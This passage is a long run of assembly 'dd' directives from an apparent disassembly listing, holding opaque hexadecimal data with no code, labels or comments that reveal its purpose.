		dd 0C267F2EDh, 4FC1F468h, 649FCD00h, 0C3C655E6h, 0B2A80B7Eh
		dd 0F500013Fh, 0B442C1E4h, 0E948EEFEh, 0E2AB0034h, 28CE6E84h
		dd 50CA0138h, 5A9EA4AEh, 900C40E4h, 0A2F86D31h,	0E9584D00h
		dd 0D8CA1243h, 447F0D1h, 0BA326486h, 9CAE033Bh,	8AF2D729h
		dd 8443D5E3h, 0D080C3D2h, 0E87B02C0h, 0B2D64400h, 0D1ABD3Dh
		dd 2E8B03A9h, 20EB4E19h, 6A729DF0h, 0D33E6890h,	503D0E0Eh
		dd 0D7B2219Ah, 0A77030FEh, 0CDB30E83h, 6420FFDEh, 76809363h
		dd 0F8F57900h, 924D0608h, 0D74B0086h, 52DCDB0Eh, 89FC3FB6h
		dd 3F05550h, 90B8E524h,	403DC60Fh, 0F149F29Dh, 0CEEC0h
		dd 0FFA2BA8Ch, 0C857E840h, 23F4BF00h, 82EE99D3h, 41090AD4h
		dd 0AC0EF6h, 0D58E0F7Fh, 0EF505C98h, 374C4D85h,	0A6A41ED4h
		dd 17BFC040h, 247CE59Ch, 70CC74h, 92961AB9h, 1B1754BCh
		dd 0E00062FDh, 0DE751C42h, 38701433h, 0E030E23Fh, 0BF616230h
		dd 0F4C53224h, 3AC32980h, 1EE3144Bh, 1C720AEAh,	79807B82h
		dd 9EC81A59h, 830413B6h, 0E442491Dh, 7F95B880h,	3889E834h
		dd 0C000433Ah, 920C59C6h, 3503126Bh, 267E28E4h,	4CC1847Dh
		dd 0E8621EEDh, 0D8E31C00h, 288D7BDFh, 17FB1B00h, 0B40BC6A5h
		dd 7FCA0050h, 0F338EEBAh, 0E90006B2h, 0A473483Fh, 3EF5F2Ah
		dd 0CC98D1CAh, 0AAB0EBAFh, 0FA05360Fh, 49B566ECh, 0C4D1B080h
		dd 0A4D60D03h, 0E494BE39h, 0A4A0420Fh, 26187774h, 0DCB01B5Eh
		dd 8D5600B5h, 2803BB95h, 0D0006F1Fh, 0A1BD4A50h, 604B7430h
		dd 60E2F02Dh, 0A3E09E87h, 0B845B907h, 0F6D05E34h, 0A1DD46h
		dd 6F4019CCh, 0EEAA58A8h, 80234B38h, 0EF17ED71h, 1E8D577h
		dd 2070D70Eh, 74AF7A88h, 4400D944h, 0A856A2CEh,	0DB1CA7h
		dd 6E9B2634h, 0F61654E3h, 0B22D6703h, 0B1C586h,	492E0714h
		dd 1385CCEEh, 9018038h,	0DD4A037Fh, 44339702h, 3AB6F440h
		dd 0BD572E03h, 0CC2FA8h, 751DD24Ch, 0B9E0C20Ah,	5430980Eh
		dd 8A96C7A3h, 0F09Bh, 0BCF95910h, 0AD209B41h, 310057F4h
		dd 7BE7D4BEh, 1250018Eh, 0E10A0Dh, 0E46C8B10h, 3307383Fh
		dd 0E9118198h, 7FE240CFh, 0C0CB8994h, 2C183EFEh, 0CA007356h
		dd 19B6FA22h, 323D6C9h,	3C93EE9Bh, 78C13F3Eh, 0EC1C20E3h
		dd 5F67BA03h, 0B8B1CF66h, 4650CACh, 0D5220837h,	775C825Bh
		dd 0A84EF4C8h, 0F861EC00h, 628063E7h, 841F0908h, 6A800FC6h
		dd 0FCF74142h, 806B183Bh, 0F8272EEAh, 79CB388Eh, 570E0060h
		dd 0FC5E8463h, 400AE0Ch, 11CC8998h, 72EA91h, 93EDACE3h
		dd 1ABA5B0Bh, 0D43C6A00h
		dd 0F0201626h, 7EF10064h, 0AC0F961Bh, 4E00EA7Bh, 0F9B69F97h
		dd 26306385h, 58DE8Eh, 0B108521Dh, 50015B0h, 91385AF5h
		dd 3B2C3784h, 9F80D4FAh, 0FEA9068Fh, 16008C85h,	83D5D75Eh
		dd 1DF96437h, 7929CD12h, 46246280h, 2157757Bh, 4A5E8000h
		dd 0E5C70F81h, 47AF07CBh, 73E9D6FDh, 0B801973Eh, 0A6CE16BEh
		dd 0F840C59Fh, 875126h,	27AFD0E1h, 0B3632067h, 65A13F00h
		dd 0EC8F9572h, 1514007Ah, 0B624CB9h, 0C7016C1Ch, 208870D6h
		dd 0EC245032h, 6EA40039h, 0CB09B844h, 94003DC3h, 40D03C46h
		dd 9054B4F4h, 0E85300B4h, 0B642C55Ah, 0AA004EA4h, 7325EC4Ch
		dd 0A0A6E0h, 0E9F562DFh, 51D33072h, 56026090h, 0BD59CF5Ah
		dd 0A864A7h, 17489A36h,	92F3BF60h, 0B8D7C42Eh, 0B7D870h
		dd 5EC03341h, 0B3D6A0F3h, 35F8ED1Dh, 7AAC3281h,	34E877D3h
		dd 2AFF0044h, 28C5C46Dh, 0B8002559h, 5C690D21h,	0F8A81F9h
		dd 55F09E86h, 61DB801Ch, 9BEC16F2h, 98388D77h, 0D79A0093h
		dd 2ABDE9F9h, 6E3B0038h, 9016BACBh, 565C0A94h, 0DDA00048h
		dd 34DC0FB1h, 3FEDB828h, 9080F1F3h, 0B45D580Eh,	0F200DE1Eh
		dd 3D7A9A46h, 0F8B3CB7Eh, 61792451h, 0F4010378h, 0BAD9B2C5h
		dd 0F680E7E5h, 4300BE2Fh, 4BB95E24h, 7A47F0ABh,	973900F7h
		dd 268A71A1h, 165CE111h, 66120078h, 0FA8333F1h,	7C709D7Eh
		dd 9C4ABC0Ah, 202B0ECh,	0C0B3AE05h, 0C0D290Ch, 0C3D50646h
		dd 4501AD11h, 0DBEA2739h, 9C7194BFh, 60F211F0h,	60E6A168h
		dd 58FC6DB6h, 0AC009BE8h, 78BEA8D4h, 13273Ch, 0D2CAD6A4h
		dd 4DF3B5Dh, 1539AF00h,	562F45C5h, 9FB951D4h, 0B2B1B500h
		dd 497D00B6h, 2ADEA296h, 970386AAh, 10061665h, 3D39024Bh
		dd 0F3DC2627h, 694648A2h, 1B58010h, 0B6590E6Dh,	40A8DC6Ch
		dd 6A4A8914h, 237B9707h, 0B5C72A5Bh, 10173F50h,	0CEA900C5h
		dd 55AF66DFh, 3300FD03h, 65449041h, 7A538C3h, 48BDC0C9h
		dd 9E05C060h, 0A7007606h, 1D9BE879h, 774439Ch, 960B5468h
		dd 0D42640D6h, 520B715Bh, 8092B8ECh, 2F51434Eh,	6C57382Ah
		dd 54647680h, 5937DED5h, 85C7A300h, 0A979347Dh,	0C472ADh
		dd 0A4506626h, 88475EBh, 2B018096h, 9235E1BAh, 490D994h
		dd 0DFACAAh, 0C237C94h,	0F38D9970h, 97F6E00h, 1F48A8B2h
		dd 49B300B1h, 7C6A0E3Eh, 0BD78F31Eh, 7BA205Ch, 852D23B4h
		dd 0E10E21C0h, 7050295h, 224D3D84h, 0FD9040FFh,	9974A6h
		dd 3A5D7309h, 3F7F7A0Ah, 7C92061Fh, 0AE010C00h,	0F0A72452h
		dd 203B83Bh, 93261EB9h,	6495AD88h, 0AF808584h, 0CA08E880h
		dd 937700A5h, 78556AEEh, 0D124B503h, 8501D4D3h,	0B20FB879h
		dd 1EB1FE61h, 1154FE28h, 7512E9D9h, 25FE0411h, 0E0280432h
		dd 438148E6h, 7921A1DEh, 318C2426h, 11B93D29h, 0DA12BB22h
		dd 0FFE93C82h, 140F4925h, 847191C0h, 45896773h,	0B8447A08h
		dd 7E4284E2h, 13081121h, 509694B7h, 21015211h, 0B005080Dh
		dd 11148A94h, 0D921DB9Fh, 91AE2908h, 9509039Eh,	0C0E58553h
		dd 0BAB110h, 5FEFBE32h,	2B63A1A6h, 9B499000h, 47C2F670h
		dd 6CCC0412h, 0C04ED8D5h, 0BA7781FBh, 0BE4B5E07h, 3E210C54h
		dd 9F4DDCBh, 7BE207h, 4F9FA3A9h, 1816BCF6h, 5383EA03h
		dd 0B0B89A94h, 0BE09B5h, 42D47005h, 6D305549h, 7FF0E000h
		dd 2A477C83h, 0A4CB3FD3h, 317200F3h, 22F95582h,	56059153h
		dd 0B9A39524h, 75D30C90h, 86110042h, 919E89F2h,	0ACE6E9BEh
		dd 0A40139h, 6AB666B0h,	4CDA0h,	0B8EA0C45h, 6CA692FCh
		dd 701D4E8h, 91B5EE3Ah,	66E0025Fh, 0BE050336h, 1A7D3064h
		dd 12977008h, 80CF205Dh, 0B5F570h, 2068279h, 0F8394BC9h
		dd 5A70B400h, 26ABF7ECh, 0F51D01BDh, 7E1EA8C6h,	1888E44Fh
		dd 6A31D200h, 0DF8D441Bh, 0F3933067h, 0ED955E30h, 63802B00h
		dd 0E41E674h, 3BAD08B5h, 16006B22h, 63EF406Dh, 47C81F89h
		dd 9FE9CE01h, 85000F0Eh, 6606B97Eh, 0F3F61B00h,	0C29D7ABEh
		dd 59E80014h, 13454EB4h, 0A900D963h, 0C072EB36h, 4812A5h
		dd 67DDA4B2h, 778B4FACh, 0BB4AFF00h, 45683906h,	0E4480061h
		dd 0DFAC891Ch, 14005A85h, 0F77864Bh, 116DD35h, 0BDD0B94Dh
		dd 4064B655h, 9727D894h, 151C4800h, 0A14BEFF0h,	0C19B1E22h
		dd 580C0F8h, 9129B60Bh,	25B53Ah, 7EB22DB3h, 0D4F7EBh, 1DA060B0h
		dd 9B6A9AF4h, 0EA6E0B17h, 0F6999D00h, 2D7E310h,	0E329527h
		dd 0C4E0E460h, 7904C87Ah, 8F84C231h, 0F1593480h, 8CAD1F7Ch
		dd 2DD4C01Ah, 3667072Fh, 6D32B400h, 4E7F010Ah, 0CCD83FFFh
		dd 0C2BFB781h, 30DA4C99h, 8D004805h, 8424713Bh,	4DF00519h
		dd 4D02684Bh, 0AA9C2DEAh, 72805440h, 7F1E3A00h,	73A1FB55h
		dd 289217h, 440BFFA6h, 0DA673AAFh, 0D1038303h, 0AB5B957Ch
		dd 0D04CC10Fh, 94F36ECh, 0CBDD32E9h, 67094800h,	0D600E557h
		dd 1250BF1Bh, 4B7ED7h, 9731CAB2h, 0AEA284DDh, 7166E200h
		dd 6FAF9EA7h, 38F67Fh, 2D0EE661h, 31DB90D2h, 519C9503h
		dd 92123C3Ah, 89C0DF71h, 8C071626h, 0AE5CD904h,	322BF2A0h
		dd 0DDB60030h, 0A77ADB56h, 434DC399h, 0DADF0700h, 6EE0B14Ch
		dd 4495D6h, 7D3A9637h, 0B5242BDEh, 0CE02A60Eh, 0D2053E1Fh
		dd 0FB3E9Fh, 0BF819AA4h, 0CB00050Ah, 0AE90FB6Ah, 0F512A25h
		dd 78416C97h, 0A956DA80h, 0BB29D418h, 1A80A490h, 13B02CB4h
		dd 64D800E7h, 99C9DA65h, 0CD1DC81Bh, 4240759Eh,	376334BFh
		dd 3E87CB2h, 2C4987E3h,	88D04581h, 0EB773A08h, 0A6F0B775h
		dd 12E45B01h, 0E8DEF91Fh, 17F0E041h, 43409C0h, 28051E2Eh
		dd 4088B187h, 0DAC184B9h, 8B38021Dh, 88910DC0h,	0A1581Ah
		dd 739B75ACh, 341255Eh,	5D509800h, 9D923918h, 283201CDh
		dd 0C235157Bh, 3F9140CFh, 0D10068B7h, 3D54345h,	4FED17h
		dd 8AD25F4Bh, 24942067h, 30DBB800h, 0D4801286h,	1FE473D5h
		dd 40C53F78h, 13068C8Eh, 551D1DB3h, 598040C0h, 534185AEh
		dd 0AB501E21h, 0CD5D401Ah, 0D3F6724Ah, 0BD528700h, 0F4A1849Eh
		dd 403101AFh, 917AB055h, 6B9DC401h, 5DBCCD00h, 1AB2B928h
		dd 77F700D6h, 232B79EDh, 0A2026178h, 3F9AFF48h,	4D3F406Ah
		dd 67FD1h, 0D28F999Ch, 6CB64356h, 364F940Bh, 210800E2h
		dd 75CF1Fh, 5CB12B27h, 0F9EF709Ch, 0FAABAA07h, 58F0B60Ah
		dd 1337E4Eh, 0BCEA415Fh, 43AD26BBh, 85A030ACh, 7D00C3B3h
		dd 0D295D0F0h, 44143h, 0FA992848h, 0A5AFE214h, 7494373Ch
		dd 0F68F5D00h, 0C5134263h, 575C00E1h, 82846FA7h, 61F61FFDh
		dd 37E81154h, 0E4108300h, 283FA548h, 0C9720742h, 228C6078h
		dd 1C400170h, 60F4862h,	200234FEh, 5E40CDD1h, 0D25100ABh
		dd 8C729063h, 5D7584F9h, 60172B00h, 98B308EEh, 7EE6E894h
		dd 0FFC000D2h, 193C5FB8h, 0C23AF39Bh, 21FF9C7h,	97C113E2h
		dd 0AAD00109h, 4883C8E4h, 0CE002A47h, 0B6C1A220h, 35023AE3h
		dd 1D3DAF89h, 52D840DBh, 38F358DAh, 7F929E3Eh, 0AE07AEE2h
		dd 34B0EA8Bh, 3BDFC436h, 16807954h, 0BF5F5DCDh,	9500438Dh
		dd 4DEC1C86h, 294DB6Eh,	9992C737h, 0D8404CB7h, 8900A28Bh
		dd 7C1615BFh, 1FCEB9ECh, 4971D828h, 8080C429h, 0F6E88169h
		dd 3496DB00h, 0A2DC19ACh, 31640562h, 0C7CE1CD7h, 0F873E006h
		dd 9000BCBBh, 0D008FD67h, 15B2B0Fh, 85A3E501h, 30F59F6Eh
		dd 0B6011F8Eh, 4F13365Dh, 30804Ah, 6E893CBDh, 0E4062Ch
		dd 0E4F705D0h
		dd 17003B83h, 0A3826D5h, 17B47361h, 47F58ADBh, 1020EF2Ch
		dd 1CC56884h, 61E00800h, 27F2DD95h, 8BAC0049h, 0DFA7379Dh
		dd 440023AEh, 9864C351h, 0FACFA3h, 39E2137Bh, 34258072h
		dd 4A7CCD00h, 0D7ED0791h, 0F19800ACh, 0AA6855A8h, 0A72CB52Bh
		dd 5B00CEA2h, 1BC88045h, 0A3B10E3Eh, 42E01292h,	9BFD7A6h
		dd 0E31C437Ch, 0EDC063E8h, 0BD4B2E38h, 0CA8C1C3Bh, 92DB00D8h
		dd 78030B8Dh, 4E33C0FCh, 0AF666053h, 4090AD90h,	20F0070h
		dd 95507D84h, 7900C5B3h, 0C0FFE852h, 45362F6h, 1CF9DF2Fh
		dd 0E99DC09Dh, 5071C6C9h, 3CFA4E2Eh, 23B7500h, 16C111C2h
		dd 1F6041D6h, 5B2AC1A8h, 708A1A19h, 800A6A0h, 0A2ABF69Ah
		dd 572798h, 0CBC8CD6Fh,	1B6DBC2Eh, 0F529C8A1h, 0AD3080C4h
		dd 2B77B114h, 12D02671h, 5C2F004Ch, 93FA7879h, 0C9FEAA00h
		dd 3C41778Fh, 0EFEE0C95h, 0BCD9E333h, 3D82CC00h, 23AC1920h
		dd 0C845605Fh, 7454DCA5h, 0A21EC900h, 51B9751Dh, 9E9025h
		dd 0F44C3B7Eh, 7C44ACC0h, 6EFEE900h, 821D6676h,	0D85E63F6h
		dd 0E4E9DCC2h, 3AF17AC8h, 7103E4h, 0F80FABF1h, 7CAFA327h
		dd 70A6CD5Ch, 0D7E2440Fh, 72C2E03Dh, 4975E7AEh,	310778C1h
		dd 505FA1D9h, 0A0D4AC30h, 0EA257202h, 0C04FCBCAh, 0E4C6FE33h
		dd 338E00DAh, 6ACFF974h, 0A53B4081h, 6C7F00E2h,	9D75D1Ah
		dd 0C23812A2h, 7B784089h, 0E779F206h, 303F5C00h, 8B0D4CC8h
		dd 143700B1h, 156199F1h, 0F40B9FEDh, 835823h, 0E531639Ch
		dd 25360081h, 0ECE9F5C1h, 1D0A2876h, 95405C6Ch,	0E89D83Fh
		dd 2B0EFD8Bh, 365CA1B6h, 0F457161Eh, 0DEEF3710h, 0FDE600A0h
		dd 1DC1896Ch, 7B009652h, 43B9AF0Dh, 3205F30h, 924B6380h
		dd 4800C629h, 0AB15BEC0h, 9850B0F9h, 0F0AA58E4h, 963BAC0Fh
		dd 0BF1A1FE0h, 0EE093EDCh, 80A3828Bh, 595CA4E8h, 5BF700D7h
		dd 7FFF92EDh, 443DA6D9h, 6903FF0Dh, 336D7772h, 40FEFADFh
		dd 7B8BCE06h, 19DB0470h, 809CA13Bh, 0D658ADDCh,	0A83F0201h
		dd 9B3C4DC7h, 0A0CE1880h, 60D3661Dh, 0C960E3E2h, 0D9336331h
		dd 878C0026h, 36784627h, 8B03A4D5h, 384C410Fh, 0B840BBEEh
		dd 0EE1F0214h, 883212C0h, 6DACF5h, 0DBFE81Ch, 170A2E0Ch
		dd 82FF101Bh, 30404CF8h, 3F0E619Bh, 0C07284B9h,	0F55895D5h
		dd 44CD0543h, 269394h, 8A8B1ADAh, 0C008F10h, 0EF5EECE0h
		dd 0F9E370A2h, 3D71C130h, 6700E17Bh, 0B3ADD636h, 0F1036F63h
		dd 83145F22h, 8E44A0CCh, 613F895h, 58D70BB2h, 0E41E30D9h
		dd 83804D97h, 8BF0F8EAh, 32F6E9h, 9924C6AAh, 56A88472h
		dd 76E16B3Ch, 0FB50947Dh, 3D0037C0h, 2C5B88F7h,	986CF1CCh
		dd 99950086h, 0BDE05394h, 0A9070743h, 9E74AFFEh, 0CB1345D3h
		dd 0D50EB173h, 3E4C020h, 67A7995Eh, 0BDD86C3Dh,	0C100D655h
		dd 0CFD02E4Dh, 7C0D309Ch, 0A0F3006Ah, 8EFA3FFBh, 74008D68h
		dd 192EAED9h, 0F0453F4h, 0FF5C22C9h, 16F03780h,	8803DD8Bh
		dd 2D587265h, 3FFDE0A7h, 107A000Ah, 3DC859BCh, 7000F15Eh
		dd 8C7C27FAh, 57FFFDh, 0BE7EA4F6h, 0D85C889Ah, 39E88600h
		dd 6878694Ah, 731A007Ch, 0AB271E8Ah, 0DE09EE87h, 6196FAD6h
		dd 0A440AD58h, 430F9Eh,	0F1BE8EC3h, 0CCCAB002h,	757DED48h
		dd 0A902EEE8h, 5A013691h, 0EAB0491Ah, 0EC004C2Ch, 0FD1CF1C0h
		dd 7B042B9Fh, 8867C135h, 0B36D0090h, 0B2FF09F3h, 78CF59h
		dd 1A7AF127h, 108F9Ch, 0C0199C78h, 0E7EE00D7h, 7928CBBFh
		dd 0F97AA5C1h, 0B507B6B8h, 3042F60Ah, 14FE9F40h, 0DE2000F2h
		dd 8C9CA6E3h, 2B5BD602h, 5880281Eh, 0E0109014h,	121F126Ch
		dd 8560353Ah, 7760000Dh, 80BFCEA3h, 2AFF0500h, 0F85793A0h
		dd 0D9F202h, 4213FBD4h,	86D12B09h, 477A490h, 40C99100h
		dd 0EF3EA314h, 1323E42Eh, 808DDC95h, 41E6A59Ch,	0BCAC6100h
		dd 36CADB6Bh, 8FC31EA2h, 0FB92C0E1h, 4F40B494h,	8880BA30h
		dd 0E5D414h, 0F75288B2h, 2B3666D3h, 0D7656A03h,	0A8D5248Eh
		dd 0EEAA060h, 0C4460B3Ch, 0CA1687C0h, 53EAE4F4h, 0B3334F00h
		dd 1F9671E5h, 0C4ED0010h, 2799498Dh, 0F00D7DEh,	0F40852F6h
		dd 0CE9ABCh, 809328CFh,	3EBF09ECh, 8099CA3Fh, 1E2AD094h
		dd 0A8E88F05h, 4E4B9F4h, 3D5F95C2h, 11A8C106h, 0FBB470D2h
		dd 81A40501h, 192609DFh, 0C08496F4h, 217ED920h,	9800B842h
		dd 0E76C2FC8h, 3A0BE935h, 7680DEC4h, 0B0A3263Ch, 0EA0BCDA8h
		dd 3867C2Dh, 0C855A058h, 0C4449CCh, 0BF14B668h,	0E90D6189h
		dd 2888A809h, 3A3E3083h, 210EF084h, 0CFA2D808h,	0C81800C9h
		dd 58A7A9CAh, 0B7000085h, 27A3DB14h, 5A002C22h,	330D5BB6h
		dd 0F0F00777h, 38B7E6AAh, 0FF92273Ah, 0E88801EBh, 60EE79ACh
		dd 651E2237h, 0F9C0C963h, 957BE73h, 709D162Dh, 0BFD00B4h
		dd 7D6C2544h, 0AF33D900h, 0C327CDDEh, 1F190BF5h, 2480175Ch
		dd 0DFD29660h, 70B04600h, 0DA39FA3Eh, 0B8E009Ch, 73457A98h
		dd 1009181h, 4D477E21h,	1B67ADh, 4AB6B00Ch, 40D01F5Dh
		dd 18AB391Eh, 384089D2h, 8271E46Bh, 4909010Eh, 0BD04EC1Bh
		dd 0A259FCB8h, 48017270h, 0FDE48511h, 0AF2082E7h, 326416B0h
		dd 0B32483D5h, 0A984E880h, 0FD18ED03h, 80647A08h, 0A2F82Ch
		dd 0DC976825h, 9D8471BFh, 36693A00h, 0AD881692h, 0B87F0BB5h
		dd 1423F6B3h, 607BE4C5h, 249DDB0Ah, 4400FCFDh, 0FB3D9021h
		dd 28D600A1h, 0F5426A9Ah, 0E8002AC3h, 0B3FE03B1h, 25E750Eh
		dd 91980814h, 0B8D8A79Fh, 0D9888C54h, 71E2B0C1h, 4208A5Fh
		dd 4B9C002Bh, 3A94B833h, 930CA370h, 21646BD8h, 0E88D0FD7h
		dd 6240602Bh, 0DB669F73h, 517F7E00h, 4357FB8Ah,	286D3B7Dh
		dd 0D9C7A500h, 7405D3Fh, 53FA2B00h, 6BEF4E9Dh, 2C9A60h
		dd 112FCD06h, 3ED6C3BEh, 0ACA08650h, 0E3455B1Ch, 90C14741h
		dd 81804F54h, 18D3988Bh, 25029BB9h, 31608C5Fh, 5CE02015h
		dd 2E01BD16h, 61B16999h, 6420067Eh, 4BDE0BEAh, 6D80B33Fh
		dd 0F151BC55h, 6C008FFCh, 0B8917ECAh, 0D24958h,	251908ABh
		dd 214541A2h, 9502A4EEh, 163496E7h, 49C46087h, 93AD009Eh
		dd 0BCF3A682h, 0A200A96Ch, 991253A5h, 7AD35D18h, 66F00E6h
		dd 726B5C38h, 95267326h, 0F10121E2h, 7BFED318h,	1B3A1C0h
		dd 0DE496E74h, 0C8ADAB0Ah, 0FB004503h, 47B86B09h, 0E66449Eh
		dd 9B247CDFh, 829FC8C0h, 0D8011749h, 7F62E29Dh,	60202D4Eh
		dd 0DE363C5Fh, 4B737801h, 0D0FF0781h, 6C3090D2h, 226F6A10h
		dd 6A851DD7h, 0D475C069h, 37C9749h, 3A1739h, 279538E9h
		dd 1CA7D7h, 0FD5DE1CBh,	0ACB775FEh, 0ECA55C0Eh,	0C96D21FBh
		dd 0B9F0B511h, 0A02B00FCh, 0A75DCB3Ah, 400F665h, 4DB1CCDAh
		dd 600F43h, 64B65BF0h, 246507D0h, 41A86D00h, 0BD61CCD8h
		dd 5B580068h, 0EF2FDE1Fh, 0E51C4D2Ah, 410F555Dh, 267700DFh
		dd 0C02BB9h, 4A44E76Bh,	12ECA0F6h, 36F9F409h, 0A06B88C2h
		dd 8661BC00h, 476304h, 0D5FF9BA0h, 0FB24FD79h, 520112F0h
		dd 0B92FB633h, 9080918Ah, 66CCAA8Eh, 0FB001F20h, 2FFAC1BFh
		dd 5FD2D3h, 62657EABh, 0FC7FB237h, 54CC5A01h, 0FFB9106h
		dd 0EC77089h, 3CE0DA89h, 0E7277A1Eh, 0BB7052h, 699D0837h
		dd 347DDA5Eh, 44D68B50h, 0A9CF7216h, 0BC1D6020h, 5FD7B0Dh
		dd 0B9B3FFF5h, 0B650E0BBh, 45F4AF00h, 0B8868B9Fh, 1D72E4h
		dd 77A063D6h, 0C679D474h, 760016EAh, 0A47F2E27h, 4E06E09h
		dd 524CFC21h, 0C548D3C3h
		dd 20D8F0C1h, 3AFA4ED4h, 0D6067D0Ch, 7D016850h,	4347CB5h
		dd 0E38D8ADAh, 2A08C864h, 32489900h, 7672062Eh,	0FCFA5842h
		dd 9560B80Ch, 0AF0154E8h, 12A7E9B1h, 43D47D9Fh,	16500022h
		dd 859323B7h, 6213BC37h, 0AB0046C1h, 74FA9DEAh,	6D3300BBh
		dd 0E4C6F254h, 7F0702ACh, 45130D48h, 0C11AF5C1h, 1EEC93F0h
		dd 80B6203Bh, 5C7CBF71h, 7FA8BF3h, 2B786101h, 0F0FA868Dh
		dd 0E6C1080h, 1530A655h, 0FDD31F00h, 44B9BDBFh,	0C8B11C9Fh
		dd 7D754053h, 439CBEAEh, 3BEEF93Fh, 5EAC8022h, 81E4A279h
		dd 19970708h, 0DE207F0Ah, 0EDB98858h, 8D5F2407h, 6810D1A8h
		dd 1271CC4h, 213CFB36h,	0D078B017h, 7E00A152h, 0E8702881h
		dd 343087h, 0F2DC3D15h,	0F7E2970Ah, 360F3E7Fh, 41322FFCh
		dd 0F9317DA5h, 656D25C4h, 0C08EF9F6h, 1B0B9A18h, 0F2010C0h
		dd 2B651BDh, 65965A32h,	0AEC06A99h, 8A00C4A9h, 0C15B8566h
		dd 309BC3h, 29FADBCDh, 0ADCB6AB9h, 0D988678h, 0C14BA09h
		dd 0AF0F83D4h, 0F33B99CCh, 0E641C4h, 0C1549E90h, 850545F7h
		dd 0E5F66474h, 0E90FE003h, 0A76B0BF3h, 0B2C96A70h, 2F811855h
		dd 58C0B839h, 47A0A1Ch,	33CE6447h, 680B8590h, 60130989h
		dd 240039E2h, 49EFA379h, 14809A00h, 48D95310h, 11880EC1h
		dd 6A208291h, 0E9D6BB1Dh, 2904C200h, 680374D7h,	875E00FAh
		dd 4D8893EBh, 60071D24h, 0CCC72897h, 417419F0h,	40D6092Eh
		dd 4583209Fh, 0E4F8B5A5h, 892EE8C0h, 3920FDh, 19F02D4Fh
		dd 24955Bh, 50F2EDA5h, 6EAAD7C7h, 28BA6700h, 34F3B959h
		dd 696D03C9h, 0DD5CFA0Ah, 86DABB90h, 0ECF8167Bh, 0CD3D0301h
		dd 5967BB3h, 1864ECh, 0CF8B4519h, 2D2212ACh, 0C820200h
		dd 325B57B5h, 44EC0068h, 27F04350h, 3900EBF5h, 1ED15FACh
		dd 465EA7h, 6BF9346Ch, 0BEA5CD5Bh, 0FD1BC0F9h, 7455E20Fh
		dd 9E93A052h, 12EA448Ch, 0B941D0h, 0C63C63F6h, 75009A89h
		dd 0ADF36FFEh, 3C2CE556h, 2180BE96h, 0B0DD0B16h, 353F2B6Bh
		dd 56F100E8h, 8CFD26E0h, 8A3B00A9h, 74DEC599h, 6D0006F6h
		dd 76A8FF5Ch, 483A124Ch, 70003866h, 0C09EC7DDh,	0E90015D7h
		dd 7AA92B1Bh, 0A45BD5h,	0B71D2FB0h, 0D605DB1h, 2B0021E4h
		dd 50AAFDCEh, 613DBFh, 0B0C654E4h, 8E8F96A8h, 0A5909500h
		dd 0D43A33F8h, 4277006Fh, 210B97Dh, 8C179B59h, 0CFF836F6h
		dd 85324D00h, 0E424AF14h, 0C251A00Fh, 0F6428494h, 8F0880AAh
		dd 4400B8AAh, 651ED79Ah, 20F28Dh, 41382630h, 19352FC8h
		dd 62CF9E00h, 0B644AACBh, 0FEF8005Fh, 7DA03411h, 42FA50D5h
		dd 4FA8C30Fh, 82DEA0E8h, 3833ADh, 726A60BEh, 0E197E451h
		dd 0CEEB7000h, 0C641EEAAh, 7B171C4Dh, 0D45EC0FFh, 54589C86h
		dd 0A136DC00h, 0CAD6AA27h, 2C0B4C3Ch, 0A9D90C07h, 3A4BF0BFh
		dd 0DE24563Bh, 800E44Eh, 3EF94F2Ah, 6FC3001Fh, 5195D240h
		dd 0A4009A88h, 76E34466h, 1BFFB4h, 3F231A4Ah, 9077262Bh
		dd 0C448F600h, 0F5700741h, 0CCD400B5h, 0E11DEBAh, 1E3FC987h
		dd 0E1EB00FBh, 0E6D9EE67h, 78A70552h, 809BA9F1h, 284B26E9h
		dd 0AE77881Dh, 8C933B4Ah, 0AB64F900h, 2847D5Eh,	0EE87E53Eh
		dd 0F06020D4h, 4800F360h, 3FCD96E4h, 904EDA5Fh,	84AE001Ch
		dd 0EB338979h, 8600583Dh, 7A55105Eh, 80F562h, 2D54A8BAh
		dd 5695510Ch, 0C7F88F78h, 0DA064C00h, 0D217CCCFh, 281100F8h
		dd 644D1339h, 0BBEC4FF9h, 778C8400h, 0A8E048F0h, 1A330049h
		dd 0C399E122h, 3000031Fh, 6257E2FEh, 128F7C54h,	5368B89h
		dd 82941498h, 0E040D579h, 0CF2E586Ch, 8600E21Dh, 1712C2B0h
		dd 7F330054h, 0F9F8EB02h, 0CB003011h, 3801C37h,	0B2E4EF3h
		dd 9E9DF6A3h, 799A4022h, 7D68D540h, 2C5D4A0h, 0A8BCCB50h
		dd 0C1007FE0h, 89D35DC7h, 4C56371Eh, 1801983Ah,	0DCF172E1h
		dd 0A25C4AAh, 852D6800h, 0B7551101h, 91C2023Ah,	384C500Fh
		dd 7DF7D060h, 31289600h, 89A348B1h, 0E50C002Fh,	0A93265C2h
		dd 9898D442h, 5B00DDF6h, 0BEF470A7h, 1FD8AAD3h,	0FB3089h
		dd 358E66Ch, 0FD30CD14h, 1FF0E0FAh, 0B61D02C1h,	0C7685AC2h
		dd 34BB9B60h, 55A9EC0Ah, 0A601DC5Fh, 2A9A838Dh,	694FFA81h
		dd 0DC44CC70h, 7324D09Bh, 0A50078C6h, 0D69EA3ADh, 0BAF60A0Fh
		dd 99CC2Ch, 948E63E9h, 0C3005F15h, 46ABCA26h, 0EE4B0442h
		dd 0D9010017h, 0B5483A44h, 2700CC34h, 0C674E1BEh, 9CE4EE7h
		dd 0A51E7A01h, 49ACD420h, 16007E98h, 54C4E710h,	1B92D3h
		dd 5387799Fh, 9EB92DF9h, 2BAEAD0Fh, 6D1EE0B5h, 0B56FA70h
		dd 0AF4421DBh, 0E7992A80h, 7512C99Ah, 0D400D267h, 0D5F2FF5Bh
		dd 0D35E2EC1h, 62BF8028h, 354E93CEh, 4D786602h,	7BB1030h
		dd 3AD69079h, 0C80105A0h, 84CDD0E4h, 0DD83EC9h,	2B1D00C4h
		dd 32DF69AAh, 5398BC0h,	4C0FFD6Ah, 60582DB3h, 8E4FF387h
		dd 0B2ED0037h, 62EE5438h, 891D1FA7h, 36855CE0h,	0A28025A5h
		dd 3B0FD283h, 3D814AD3h, 0F6A13F6Dh, 8CF3606Ch,	0B3BC055Eh
		dd 6389F43Dh, 0A485E571h, 3C81FF69h, 2ECC7B07h,	428B00BBh
		dd 345CEADEh, 7A006C10h, 0B7856BD3h, 1CC1822Fh,	0C2866F21h
		dd 5345360Ch, 0C480F962h, 41371454h, 92CCA000h,	0D079F5CDh
		dd 243C00BBh, 0D685FF25h, 2D00675Ch, 3EDBE86Eh,	99422Bh
